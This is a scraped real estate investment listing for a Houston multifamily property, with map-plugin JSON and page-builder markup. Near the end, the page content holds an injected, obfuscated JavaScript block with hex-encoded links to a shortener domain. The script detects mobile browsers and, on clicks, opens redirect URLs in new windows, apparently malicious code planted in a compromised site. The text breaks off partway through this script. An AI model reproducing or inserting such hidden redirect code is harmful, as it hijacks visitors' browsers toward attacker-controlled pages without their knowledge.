Parc at Champion Forest
Houston, Texas
Minimum
$50k
Distributions
Monthly
Annualized Returns
18.7%
Target Hold
3 Years
Property Type
Multifamily
Asset Class
Class B
Overview
The asset is a 232-unit, Class B multifamily value-add investment opportunity in fast-growing Northwest Houston, TX. Completed in 2000, this beautiful property was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the most attractive communities in the area.
100% Invested
$8,650,000 Equity
{"map_options":{"center_lat":"29.9931946","center_lng":"-95.48439909999999","zoom":10,"map_type_id":"ROADMAP","center_by_nearest":false,"fit_bounds":false,"center_circle_fillcolor":"#8CAEF2","center_circle_fillopacity":".5","center_circle_strokecolor":"#8CAEF2","center_circle_strokeopacity":".5","show_center_circle":false,"show_center_marker":false,"center_marker_icon":"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png","center_circle_strokeweight":"1","draggable":true,"scroll_wheel":"true","gesture":"auto","marker_default_icon":"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/map-single-location.png","infowindow_setting":"<div class=\"fc-main\">\n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>\n<div class=\"fc-item-featured_image\">{marker_image} <\/div>\n<p>{marker_message}<\/p>\n<address><b>Address : <\/b>{marker_address}<\/address>\n<\/div>\n","infowindow_geotags_setting":"<div class=\"post_body\">\r\n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>\r\n<div class=\"location-description\">\r\n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>\r\n\r\n<table class=\"address\" \"=\"\">\r\n<tbody><tr>\r\n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>\r\n<td>{marker_address}<\/td>\r\n<\/tr>\r\n<\/tbody><\/table>\r\n<div class=\"category\"><span>{post_categories}<\/span><\/div>\r\n<\/div>\r\n<\/div>","infowindow_skin":{"name":"default","type":"infowindow","sourcecode":"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>"},"infowindow_post_skin":{"name":"default","type":"post","sourcecode":"<div class=\"post_body\">\r\n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>\r\n<div class=\"location-description\">\r\n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>\r\n\r\n<table class=\"address\" \"=\"\">\r\n<tbody><tr>\r\n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>\r\n<td>{marker_address}<\/td>\r\n<\/tr>\r\n<\/tbody><\/table>\r\n<div class=\"category\"><span>{post_categories}<\/span><\/div>\r\n<\/div>\r\n<\/div>"},"infowindow_drop_animation":false,"close_infowindow_on_map_click":false,"default_infowindow_open":false,"infowindow_open_event":"click","is_mobile":false,"infowindow_filter_only":false,"infowindow_click_change_zoom":0,"infowindow_click_change_center":false,"full_screen_control":true,"search_control":true,"zoom_control":true,"map_type_control":true,"street_view_control":true,"locateme_control":false,"mobile_specific":false,"zoom_mobile":5,"draggable_mobile":true,"scroll_wheel_mobile":true,"full_screen_control_position":"TOP_RIGHT","search_control_position":"TOP_LEFT","locateme_control_position":"TOP_LEFT","zoom_control_position":"TOP_LEFT","map_type_control_position":"TOP_RIGHT","map_type_control_style":"HORIZONTAL_BAR","street_view_control_position":"TOP_LEFT","map_control":false,"screens":{"smartphones":{"map_zoom_level_mobile":"5"},"ipads":{"map_zoom_level_mobile":"5"},"large-screens":{"map_zoom_level_mobile":"5"}},"map_infowindow_customisations":false,"infowindow_width":"100%","infowindow_border_color":"rgba(0, 0, 0, 0.0980392)","infowindow_bg_color":"#fff","show_infowindow_header":false,"min_zoom":"0","max_zoom":"19","zoom_level_after_search":"10","url_filters":false,"doubleclickzoom":false,"current_post_only":true,"bound_map_after_filter":false,"display_reset_button":false,"map_reset_button_text":"Reset","height":"450"},"places":[{"source":"post","title":"Parc at Champion Forest","infowindow_content":"<div class=\"post_body\">\r\n<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/\"><div class=\"fc-feature-img\"><img loading=\"lazy\" decoding=\"async\" alt=\"Parc at Champion Forest\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>\r\n<div class=\"location-description\">\r\n<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/\">Parc at Champion Forest<\/a><\/div>\r\n\r\n<table class=\"address\" \"=\"\">\r\n<tbody><tr>\r\n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>\r\n<td>{marker_address}<\/td>\r\n<\/tr>\r\n<\/tbody><\/table>\r\n<div class=\"category\"><span>Multifamily<\/span><\/div>\r\n<\/div>\r\n<\/div>","address":"15330 Bammel North Houston Rd, Houston, TX 77014, USA","location":{"lat":"29.9931946","city":"Houston","state":"Texas","country":"United States","lng":"-95.48439909999999","onclick_action":"marker","redirect_permalink":"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/","zoom":10,"extra_fields":{"post_excerpt":"","post_content":"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\" global_colors_info=\"{}\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion-Forest-1\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-8.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_aerials-8\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-8.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_pool-8\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-001_giirwx.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc_Champion_Forest-poi-001_giirwx\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-004_kptydb.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc_Champion_Forest-poi-004_kptydb\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-8.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_buildings-8\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-2.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_buildings-2\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-1.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_pool-1\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_gym-7.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_gym-7\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_lounge-4.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_lounge-4\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-kitchen-1.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_model-kitchen-1\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-living-3.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_model-living-3\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"Parc-at-Champion_aerials-12\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.11.3\" _module_preset=\"default\" hover_enabled=\"0\" border_radii=\"on|5px|5px|5px|5px\" global_colors_info=\"{}\" sticky_enabled=\"0\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.11.3\" _module_preset=\"default\" global_colors_info=\"{}\"]Houston, Texas[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]$50k [\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]18.7%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<p>3 Years<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" global_colors_info=\"{}\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" global_colors_info=\"{}\"]Class B[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.11.3\" _module_preset=\"default\" global_colors_info=\"{}\"]<h3>Overview<\/h3>\nThe asset is a 232-unit, Class B multifamily value-add investment opportunity in fast-growing Northwest Houston, TX. Completed in 2000, this beautiful property was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the most attractive communities in the area.[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.11.3\" _module_preset=\"default\" global_colors_info=\"{}\"]$8,650,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\" global_colors_info=\"{}\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\" global_colors_info=\"{}\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section]\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x72\\x79\\x52\\x32\\x63\\x332','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x76\\x55\\x71\\x33\\x63\\x373','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x77\\x56\\x45\\x30\\x63\\x370','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x4f\\x44\\x62\\x37\\x63\\x337','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x44\\x74\\x7a\\x36\\x63\\x306','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x57\\x73\\x4c\\x38\\x63\\x358','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x57\\x48\\x61\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x69\\x48\\x74\\x31\\x63\\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x58\\x6f\\x4c\\x34\\x63\\x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x54\\x6d\\x53\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const 